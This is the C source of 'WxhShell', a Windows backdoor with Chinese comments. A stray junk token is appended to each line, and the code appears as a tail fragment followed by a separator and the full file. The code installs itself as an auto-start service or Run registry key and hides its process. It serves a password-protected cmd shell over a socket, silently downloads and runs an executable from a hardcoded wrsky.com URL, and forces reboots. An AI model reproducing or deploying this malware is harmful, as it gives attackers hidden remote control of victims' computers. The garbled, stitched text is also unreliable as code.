    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ex2TV7I  
    if(Boot(SHUTDOWN)) C9>tj=yEY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZlD\)6 dZ  
    else { !i=LQUi.  
    closesocket(wsh); QSPneYD  
    ExitThread(0); \x?q!(;G2  
    } aC:Sy^Tf  
    break; }9yAYZ0q{b  
    } $GhdH)  
  // 获取shell 6U[`CGL66  
  case 's': { {`5Sh1b  
    CmdShell(wsh); N"Y)  
    closesocket(wsh); Im7<\ b@  
    ExitThread(0); ?u.&BP  
    break; wz^Q,Od  
  } c ;_ T  
  // 退出 3\_ae2GW  
  case 'x': { % C~2k?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {"|P  
    CloseIt(wsh); 6[fpe  
    break; s;V~dxAiv  
    } e~C5{XEE  
  // 离开 e~]3/0  
  case 'q': { xVk|6vA7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I\djZG$s;N  
    closesocket(wsh); .^6;_s>FN  
    WSACleanup(); 0kxo  
    exit(1); (B|4wR\  
    break; gB/4ro8  
        } >i^8K U  
  } (iub\`  
  } Q;r9>E!  
O[ tD7 !1  
  // 提示信息 9))E\U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `o~ dQb/k+  
} "f^s*I  
  } 2R9AYI  
]7<}EG  
  return; 8m% +O#  
} y/U(v"'4U  
h| q!Qsnj'  
// shell模块句柄 fik*-$V`  
int CmdShell(SOCKET sock) eeKErpj8A  
{ 9G njJ  
STARTUPINFO si; ZlaU+Y(_[  
ZeroMemory(&si,sizeof(si)); b[5$$_[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R^8L^8EL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [O)(0  
PROCESS_INFORMATION ProcessInfo; Gk~QgD/Pix  
char cmdline[]="cmd"; f#4,2Xf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S$9>9!1>*  
  return 0; <dzfD;  
} ,/{(8hn  
LxD >eA  
// 自身启动模式 80qSPitj  
int StartFromService(void) Xvy3D@o  
{ Md!L@gX6<  
typedef struct B[XVTok  
{ -M]NdgI  
  DWORD ExitStatus; uu08q<B5b)  
  DWORD PebBaseAddress; Fh2$,$ 2  
  DWORD AffinityMask; ,-!h  
  DWORD BasePriority; %x$1g)  
  ULONG UniqueProcessId; &8kc0Z@y  
  ULONG InheritedFromUniqueProcessId; y"N7r1Pf  
}   PROCESS_BASIC_INFORMATION; "9mVBa|Q  
~Sq!P  
PROCNTQSIP NtQueryInformationProcess; _<;;CI3w  
Xx.4K>j+j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <P)U Ggd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Y/{q B!  
U5rcI6  
  HANDLE             hProcess; E0F8FR'  
  PROCESS_BASIC_INFORMATION pbi; $bf&ct*$h  
.MoOjx?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jg2 UX   
  if(NULL == hInst ) return 0; %BdQ.\4DS  
'. Ww*N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x3./  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }b$?t7Q)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "EA6RFRD  
z ^e99dz  
  if (!NtQueryInformationProcess) return 0; JCL+uEX4S  
kNC.^8ryz[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d! BQ%a  
  if(!hProcess) return 0; i}fAjS:W  
to}g4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4r'QP .h  
k,) xv?  
  CloseHandle(hProcess); )<J|kC\r6c  
M%*D}s-QE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ld RV JVZc  
if(hProcess==NULL) return 0; yH\3*#+  
[w0@7p"7  
HMODULE hMod; IJWUNKqo=  
char procName[255]; +XaRwcLC.  
unsigned long cbNeeded; x,CTB  
dA)JR"r2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c"nowbf  
AXnuXa(j  
  CloseHandle(hProcess); wiwAdYEQ\  
I:~KF/q  
if(strstr(procName,"services")) return 1; // 以服务启动 Ry$zF~[   
3YKJN4  
  return 0; // 注册表启动 <7U\@si4  
} i~};5j(  
fGeDygV^`  
// 主模块 UN FQ`L  
int StartWxhshell(LPSTR lpCmdLine) GnX+.uQL|  
{ OouIV3  
  SOCKET wsl; I_/E0qSJI  
BOOL val=TRUE; Su4&qY  
  int port=0; >yZe1CP  
  struct sockaddr_in door; e_<'zH_1  
(6y[,lYH  
  if(wscfg.ws_autoins) Install(); [~aRA'qJ{V  
ax.;IU  
port=atoi(lpCmdLine); '-,$@l#  
#Nv^F  
if(port<=0) port=wscfg.ws_port; 8 vp*U  
L:.z FW,  
  WSADATA data; 9wTN *y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F @%`(/^TA  
{Vw\#/,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jbv[Ql#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); azs lNL  
  door.sin_family = AF_INET; !J6;F}Pd/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { R`"Nk  
  door.sin_port = htons(port); 483/ZgzT`  
#J Ay  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9a6ij*#  
closesocket(wsl); @TQzF-%#7  
return 1; IjPCaH.:t  
} I[l8@!0  
TQ,KPf$0U  
  if(listen(wsl,2) == INVALID_SOCKET) { t'e\Z2  
closesocket(wsl); )bgaqca_{  
return 1; ~pC\"LU`  
} *el~sor;S  
  Wxhshell(wsl); U.GRN)fL4  
  WSACleanup(); V JJ6q  
x+;a2yE~  
return 0; "c5bz  
T2dv!}7p  
} m ]h<y  
!U "?vSl  
// 以NT服务方式启动 ng{ "W|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FK+`K<  
{ MS~+P'  
DWORD   status = 0; m<e_Z~^G  
  DWORD   specificError = 0xfffffff; QFNw2:)  
,\RZ+kC>~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k9_c<TSzu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ED;rp 9(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cuoZ:Wh  
  serviceStatus.dwWin32ExitCode     = 0; ;{Nc9d  
  serviceStatus.dwServiceSpecificExitCode = 0; ^2a63_  
  serviceStatus.dwCheckPoint       = 0; 1=Z, #r  
  serviceStatus.dwWaitHint       = 0; P#l"`C /  
T^DJ/uhd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fl}{"eCF8  
  if (hServiceStatusHandle==0) return; )gHfbUYS  
;i,3KJ[L  
status = GetLastError(); O63:t$Yx#  
  if (status!=NO_ERROR) )Y &RMYy  
{ fZgEJsr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4de:hE   
    serviceStatus.dwCheckPoint       = 0; i@L_[d^|j`  
    serviceStatus.dwWaitHint       = 0; w(oi6kg  
    serviceStatus.dwWin32ExitCode     = status; 928uGo5  
    serviceStatus.dwServiceSpecificExitCode = specificError; +GvPJI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^oMdx2Ow#  
    return; @h,3"2W{Ev  
  } _J X>#h  
FaLc*CU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cd(YH! 3  
  serviceStatus.dwCheckPoint       = 0; `kYcTFk  
  serviceStatus.dwWaitHint       = 0; (b8ZADI*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }0}=-g&  
} V [Wo9Y\  
e0ULr!p  
// 处理NT服务事件,比如:启动、停止 /liZ|K3A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F EA t6  
{ Z 5 Xis"j  
switch(fdwControl) N}ZBtkR  
{ rcz9\@M  
case SERVICE_CONTROL_STOP: uQYenCNXS  
  serviceStatus.dwWin32ExitCode = 0; I+/fX0-Lib  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Rb*mI  
  serviceStatus.dwCheckPoint   = 0; 97k}{tG  
  serviceStatus.dwWaitHint     = 0; "i,ZG$S#E  
  { 8 .t3`FGH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )I"I[jDw  
  } y& (pt!I  
  return; DJb9] ,=a  
case SERVICE_CONTROL_PAUSE: BB imP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C@WdPjxj  
  break; xri(j,mU  
case SERVICE_CONTROL_CONTINUE: gu "@*,hL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eig{~3  
  break; U%n>(!d  
case SERVICE_CONTROL_INTERROGATE: dVSQG947i:  
  break; ue*o>iohB  
}; -TS5g1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Qmb?{S0  
} 05Q4$P  
z @?WhD  
// 标准应用程序主函数 F#^/=AR'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aVZ/e^kk-  
{ mFmxEv  
" u)e,gu  
// 获取操作系统版本 &88c@Ksn  
OsIsNt=GetOsVer(); tgj 5l#P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yO` |X  
P$.$M}rMv  
  // 从命令行安装 2({|LQqk  
  if(strpbrk(lpCmdLine,"iI")) Install(); OAaLCpRp  
rv c%[HfW;  
  // 下载执行文件 g> m)XY  
if(wscfg.ws_downexe) { &Im-@rV!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZiPz~G0[^  
  WinExec(wscfg.ws_filenam,SW_HIDE); b&6lu4D  
} *z};&UsF{  
@hwNM#>`  
if(!OsIsNt) { CwD=nT5`  
// 如果时win9x,隐藏进程并且设置为注册表启动 fw5+eTQ^  
HideProc(); j`#H%2W\;  
StartWxhshell(lpCmdLine); 3WpQzuHPT  
} w '9!%mr  
else -qBdcbi|x)  
  if(StartFromService()) v\E6N2.S  
  // 以服务方式启动 [hV}$0#E[O  
  StartServiceCtrlDispatcher(DispatchTable); qHvU4v  
else S f6%A  
  // 普通方式启动 4 !m'9  
  StartWxhshell(lpCmdLine); ,~/WYw<o  
;p7R~17  
return 0; nd$92H  
} 7yjun|Lt}X  
l[u17,]S  
U'u_'5 {  
_2{2Xb  
=========================================== ttls.~DG  
ss6{+@,  
SAdo9m'  
x4h.WDT$  
@6Lp $w  
#U4 f9.FY*  
" BHiG3fP  
RF;[:[*W  
#include <stdio.h> maa$kg8U*!  
#include <string.h> |UB)q5I  
#include <windows.h> |!/+ T^u  
#include <winsock2.h> :iGK9I  
#include <winsvc.h> X{(?p=]  
#include <urlmon.h> a:OMI  
bxzx@sF2l  
#pragma comment (lib, "Ws2_32.lib") ^I yYck'y+  
#pragma comment (lib, "urlmon.lib") y^[t3XA6Q  
aX zb]">  
#define MAX_USER   100 // 最大客户端连接数 @.c[z D  
#define BUF_SOCK   200 // sock buffer >&ZlC E  
#define KEY_BUFF   255 // 输入 buffer }/#*opcv  
\B:k|Pw6~  
#define REBOOT     0   // 重启 f*A B Im  
#define SHUTDOWN   1   // 关机 LwTdmR  
^Bo'87!.  
#define DEF_PORT   5000 // 监听端口 s5 {B1e  
W /*?y &  
#define REG_LEN     16   // 注册表键长度 {$5g29  
#define SVC_LEN     80   // NT服务名长度 CU*TY1%  
*B \ @L  
// 从dll定义API +v'2s@e` #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U&{w:P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X y`2ux+>/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GY.iCub  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IOF!Ra:w  
.'$8Hj;@  
// wxhshell配置信息 7 h0u7N  
struct WSCFG { ?m+];SJk  
  int ws_port;         // 监听端口 O*bzp-6\  
  char ws_passstr[REG_LEN]; // 口令 Qa\,)<'D:  
  int ws_autoins;       // 安装标记, 1=yes 0=no /R?[/`)f&  
  char ws_regname[REG_LEN]; // 注册表键名 v=+3AW-|v  
  char ws_svcname[REG_LEN]; // 服务名 hOkn@F.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k Jw Pd;%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MX?UmQ'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sDR Av%w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W}"tf L8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~c] q:pU2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P;-.\VRu  
\jV2":[% c  
}; aMxj{*v7  
u 8<[Q]5  
// default Wxhshell configuration ,fTC}>s4  
struct WSCFG wscfg={DEF_PORT, 08{^Ksg  
    "xuhuanlingzhe", h-sO7M0E]  
    1, C[hNngb7R  
    "Wxhshell", :VWN/m  
    "Wxhshell", q*,HN(& l?  
            "WxhShell Service", 7cWeB5 e?O  
    "Wrsky Windows CmdShell Service", @o*~\E<T  
    "Please Input Your Password: ", u"%D;  
  1, \ltS~E uWU  
  "http://www.wrsky.com/wxhshell.exe", \kf n,m  
  "Wxhshell.exe" (v KJyk+Y  
    }; [` }w7  
NS""][#  
// 消息定义模块 Y2tBFeWY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; auX(d -m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _V e)M%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $)c[FR~a  
char *msg_ws_ext="\n\rExit."; 2TQZu3$c  
char *msg_ws_end="\n\rQuit."; %.wR@9?  
char *msg_ws_boot="\n\rReboot..."; "PWGtM:L8Y  
char *msg_ws_poff="\n\rShutdown..."; =8TBkxG  
char *msg_ws_down="\n\rSave to "; ` ~^My~f  
w8j pOvj  
char *msg_ws_err="\n\rErr!"; (CH6Q]Wi_!  
char *msg_ws_ok="\n\rOK!"; ;@Z1y  
/*BK6hc  
char ExeFile[MAX_PATH]; #`U?,>2q  
int nUser = 0; T-GvPl9ZJw  
HANDLE handles[MAX_USER]; kka{u[ruA  
int OsIsNt; 6/Yo0D>M$  
 f<$*,P  
SERVICE_STATUS       serviceStatus; B0p;Zh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 92R,o'#  
E BoC,{R#  
// 函数声明 \}9)`1D  
int Install(void); bG*l_  
int Uninstall(void); -^t.eZ*|  
int DownloadFile(char *sURL, SOCKET wsh); m@*aA}69  
int Boot(int flag); ubsv\[:C  
void HideProc(void); $G}k'[4C  
int GetOsVer(void); EbVC4uY  
int Wxhshell(SOCKET wsl); B-L@ 0gH  
void TalkWithClient(void *cs); .YH#+T'  
int CmdShell(SOCKET sock); F3$8l[O_  
int StartFromService(void); D'{ o3Q,%K  
int StartWxhshell(LPSTR lpCmdLine); OVgak>$  
_Gb 7n5p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  tj8o6N#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2$b1q!g<  
8@rF~^-_  
// 数据结构和表定义  ]SL+ZT  
SERVICE_TABLE_ENTRY DispatchTable[] = s(s_v ?k  
{ 1|G5 W:  
{wscfg.ws_svcname, NTServiceMain}, #Q_<eo%lI*  
{NULL, NULL} \k6OP  
}; p<Tg}fg  
XgKYL<k?S  
// 自我安装 VC Ay~,  
int Install(void) 1GLb^:~A  
{ 6"rS?>W/mO  
  char svExeFile[MAX_PATH]; 6 W$m,3Dg  
  HKEY key; K&dc< 4DC  
  strcpy(svExeFile,ExeFile); KM^}d$x}s  
@Y(7n/*  
// 如果是win9x系统,修改注册表设为自启动 kZ:~m1dd  
if(!OsIsNt) { $SniQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eSMno_Gt3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o@} qPvt0  
  RegCloseKey(key); ~aL?{kb+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K #JO#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z!~{3M  
  RegCloseKey(key); RzLeR%O  
  return 0; Q2@yUDd!  
    } k9\n='OI  
  } Pb@$RAU6 3  
} /wHfc[b>  
else { $uK[[k~=S  
IY(;:#l  
// 如果是NT以上系统,安装为系统服务 5(Xq58nhxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IueI7A  
if (schSCManager!=0) f-}_  
{ ]ddL'>$c$  
  SC_HANDLE schService = CreateService =A"z.KfV  
  ( 8Y;>3z th7  
  schSCManager, 'sI @e s  
  wscfg.ws_svcname, C\ cZ  
  wscfg.ws_svcdisp, GMob&0l8_  
  SERVICE_ALL_ACCESS, gkx<<)y l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zn\$6'"  
  SERVICE_AUTO_START, #Z_f/@b  
  SERVICE_ERROR_NORMAL, 3 +D4$Y"  
  svExeFile, &=.7-iC|W  
  NULL, HR?a93  
  NULL, byj7c(  
  NULL, FOX0  
  NULL, ogE|8`Tq^  
  NULL O'W[/\A56M  
  ); >vQKCc|93  
  if (schService!=0) e= _7Q.cn  
  { I%ZSh]On  
  CloseServiceHandle(schService); 6J\A%i  
  CloseServiceHandle(schSCManager); t-J\j"~%+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); th|TwD&mO  
  strcat(svExeFile,wscfg.ws_svcname); 6 Zv~c(   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { to'O;f">n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7C^W<SUo  
  RegCloseKey(key); C;rK16cn  
  return 0; o}lA\A  
    } n0'"/zyc  
  } .^?Z3iA",  
  CloseServiceHandle(schSCManager); zzyD'n7D  
} WLN;LT  
} |K$EULzz  
14rX:z  
return 1; >`.$Tyw  
} e{IwFX  
'tzN.p1O  
// 自我卸载 ?N!.:~~k  
int Uninstall(void) 'fY( Vm  
{ >U'gQS?\]  
  HKEY key; F%e5j9X`  
zvP>8[   
if(!OsIsNt) { Yu9.0A_) :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H}&4#CQ'!  
  RegDeleteValue(key,wscfg.ws_regname); _,]@xFCOH  
  RegCloseKey(key); D,;6$Pvg^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |t h"ET  
  RegDeleteValue(key,wscfg.ws_regname); 6I$:mHEhd  
  RegCloseKey(key); Eg|C  
  return 0; _8nT$!\\  
  } E,:E u<  
} M/a5o|>8  
} 7 `& NB]  
else { @k,}>Tk  
[^E{Yz=8,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q?TXM1Bp  
if (schSCManager!=0) 8 n)3'ok  
{ w `r)B`!g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2*@.hBi  
  if (schService!=0) ? ;)F_aHp  
  { ?>o|H-R~5Z  
  if(DeleteService(schService)!=0) { .LHzaeJCX  
  CloseServiceHandle(schService); 14;lB.$p  
  CloseServiceHandle(schSCManager); E'4 dI:  
  return 0; n aB`@  
  } @jevY81)  
  CloseServiceHandle(schService); /A~+32 B  
  } 0] $5jW6]  
  CloseServiceHandle(schSCManager); :},/ D*v  
} &k2nt  
} qEbzF#a-:  
CD+2 w cy  
return 1; _{5t/^w&!  
} \v}3j^Yu  
J6Q}a7I#  
// 从指定url下载文件 L/R ES  
int DownloadFile(char *sURL, SOCKET wsh) |6.1uRFE2  
{ a \PvRW*I  
  HRESULT hr; ^."HD(  
char seps[]= "/"; Ut xe  
char *token; "gPAxt  
char *file; GxIw4m9  
char myURL[MAX_PATH]; #)xg$9LQb  
char myFILE[MAX_PATH]; )d|hIW]7(  
*t+E8)qL  
strcpy(myURL,sURL); SLze) ?.  
  token=strtok(myURL,seps); =':,oz^|  
  while(token!=NULL) ~t~5ctJ@  
  { nBVknyMFNF  
    file=token; Hf'yRKACj  
  token=strtok(NULL,seps); tyLR_@i%%  
  } fii\&p7z  
Pyx$$cj  
GetCurrentDirectory(MAX_PATH,myFILE); cs%NsnZ  
strcat(myFILE, "\\"); mJ%r2$/*  
strcat(myFILE, file); Mwdw7MZ"S  
  send(wsh,myFILE,strlen(myFILE),0); ):_x  
send(wsh,"...",3,0); j{nkus2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); adJoT-8P6  
  if(hr==S_OK) cg,_nG]i  
return 0; Yb|zE   
else CDcs~PR@B  
return 1; i`g>Y5   
Te{L@sj  
} vR?L/G^.  
Q#bFW?>y,  
// 系统电源模块 .~5cNu'#m  
int Boot(int flag) m,u? ^W  
{ , "zS  pN  
  HANDLE hToken; ~X;(m<f2  
  TOKEN_PRIVILEGES tkp; _W: S>ij(  
b)u9#%Q  
  if(OsIsNt) { OD"eB?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@{jY\AZNx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZUyM:$  
    tkp.PrivilegeCount = 1; &%Hj.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e<^tY0rR&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0EXAdRR  
if(flag==REBOOT) { eT+MN`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D0QXvrf  
  return 0; tazBZ'\c  
} |y%pP/;&!  
else { Smk]G))o{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [jumq1  
  return 0; ,XP9NHE  
} qRB7I:m-Wi  
  } No[xf9>t  
  else { q@(N 38D  
if(flag==REBOOT) { "_)   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xDr *|d  
  return 0; .: 7h=neEW  
} o7 !@WOeZ3  
else { dm$:xE":  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ((dG<  
  return 0; JmYi&  
} `%ymg8^  
} !9)*.9[8  
N&>D/Z;"  
return 1; db%`- UST  
} 6ldDt?iSg  
q>omCk%h  
// win9x进程隐藏模块 b'-gy0  
void HideProc(void) _X.M,id  
{ \+Cp<Hv+  
*/8\Z46z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -`?V8OwY]  
  if ( hKernel != NULL ) FyS K&  
  { 7SqsVq`[~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y66 vJ<lM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L7xTAFe  
    FreeLibrary(hKernel); Vk_L*lcN  
  } H{GbOI.  
ng 6G<hi  
return; U&eLj"XZ  
} R\+$^G}#6  
,vhR99g{  
// 获取操作系统版本 X>wQYIi  
int GetOsVer(void) er<~dqZ}]  
{ QnGJ4F  
  OSVERSIONINFO winfo;  z`_N|iEd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TMRXl.1  
  GetVersionEx(&winfo); (^Ln|3iz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !9N%=6\  
  return 1; igQyn|  
  else Je*gMq:D  
  return 0; <St`"H  
} !kz\ {  
F% |(pHk  
// 客户端句柄模块 Z3/zUtgs  
int Wxhshell(SOCKET wsl) r:o!w7C:a  
{ lubS{3<  
  SOCKET wsh; TUUBC%  
  struct sockaddr_in client; [gE2lfaEy  
  DWORD myID; C/$IF M<  
Av[jFk  
  while(nUser<MAX_USER) a&<<X:$Hy  
{ WgL! @g  
  int nSize=sizeof(client); >ylVES/V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RU'J!-w{  
  if(wsh==INVALID_SOCKET) return 1; AuCVpDH  
mU_O64  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tv KX8m"  
if(handles[nUser]==0) St3~Y{aI|  
  closesocket(wsh); n-Xj>  
else 8BN'fWl&E  
  nUser++; (*1 A0+S90  
  } _`(g?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nk{1z\D{  
@PI\.y_w  
  return 0; C+mU_g>  
} : )z_q!$j  
^/+sl-6/F  
// 关闭 socket y\[=#g1(@  
void CloseIt(SOCKET wsh) \z{Y(dS  
{ 2Ar<(v$  
closesocket(wsh); ymzm x$o=  
nUser--; d.Z]R&X08  
ExitThread(0); _pS%tPw  
} jmFN*VIL  
!2Orklzd1  
// 客户端请求句柄 X_qXH5^%  
void TalkWithClient(void *cs) 2 zy^(%a  
{ GXfVjC31z  
=T-w.}27O  
  SOCKET wsh=(SOCKET)cs; b>i=",i\  
  char pwd[SVC_LEN]; ]VvJ1Xn0  
  char cmd[KEY_BUFF]; l;.BlHyu  
char chr[1]; +6=!ve}  
int i,j; Trrh`@R  
zCHr  
  while (nUser < MAX_USER) { kslN_\   
QP#Wfk(C  
if(wscfg.ws_passstr) { ,:`6x[ +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]c)SVn$6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |$PLZ,  
  //ZeroMemory(pwd,KEY_BUFF); $<v_Vm?6d  
      i=0; gNwXOd u  
  while(i<SVC_LEN) { +2SX4Kxu  
L3AwL)I   
  // 设置超时 k 3 l  
  fd_set FdRead; gnXjd}  
  struct timeval TimeOut; ]lUu%<-;  
  FD_ZERO(&FdRead); ^NDX4d;  
  FD_SET(wsh,&FdRead); g1~I*!p  
  TimeOut.tv_sec=8; rg,63r  
  TimeOut.tv_usec=0; K_QCYS.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T Rw6$CR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !qlGt)G3  
(5~C _Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X}(0y  
  pwd=chr[0]; Rs`a@ Fn  
  if(chr[0]==0xd || chr[0]==0xa) { { ZX C%(u  
  pwd=0; ?N*0 S'dY  
  break; yf)`jPM1<  
  } opMUt,4  
  i++; l,.?-|Poa  
    } #ja`+w}  
bSf(DSqx  
  // 如果是非法用户,关闭 socket bZ.N7X PH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @@IA35'tc  
} "Vq]|j,B/c  
U$)Hhn|X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z~c'h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s.`d<(X?  
hyiMOa  
while(1) { ,dx)rZ*  
Da [C'm=  
  ZeroMemory(cmd,KEY_BUFF); A Vm{#^p[(  
oDP((I2-  
      // 自动支持客户端 telnet标准   toqzS!&.v  
  j=0; <z uE=0P~%  
  while(j<KEY_BUFF) { hw$c@:pW;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ldMr{s<R  
  cmd[j]=chr[0]; 61W/BU7O  
  if(chr[0]==0xa || chr[0]==0xd) { 1G%PXrEj8  
  cmd[j]=0; *Ca)RgM  
  break; 4;RCPC  
  } i1I>RK  
  j++; 2BDan^:-Av  
    } F,M"/hnPT  
E0 eQ9BXh  
  // 下载文件 ^8NLe9~p3?  
  if(strstr(cmd,"http://")) { `{U%[$<[W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pzq; vMr  
  if(DownloadFile(cmd,wsh)) ~r^5-\[hZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q  |  
  else 8y$5oD6g9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vqq6B/r@Fu  
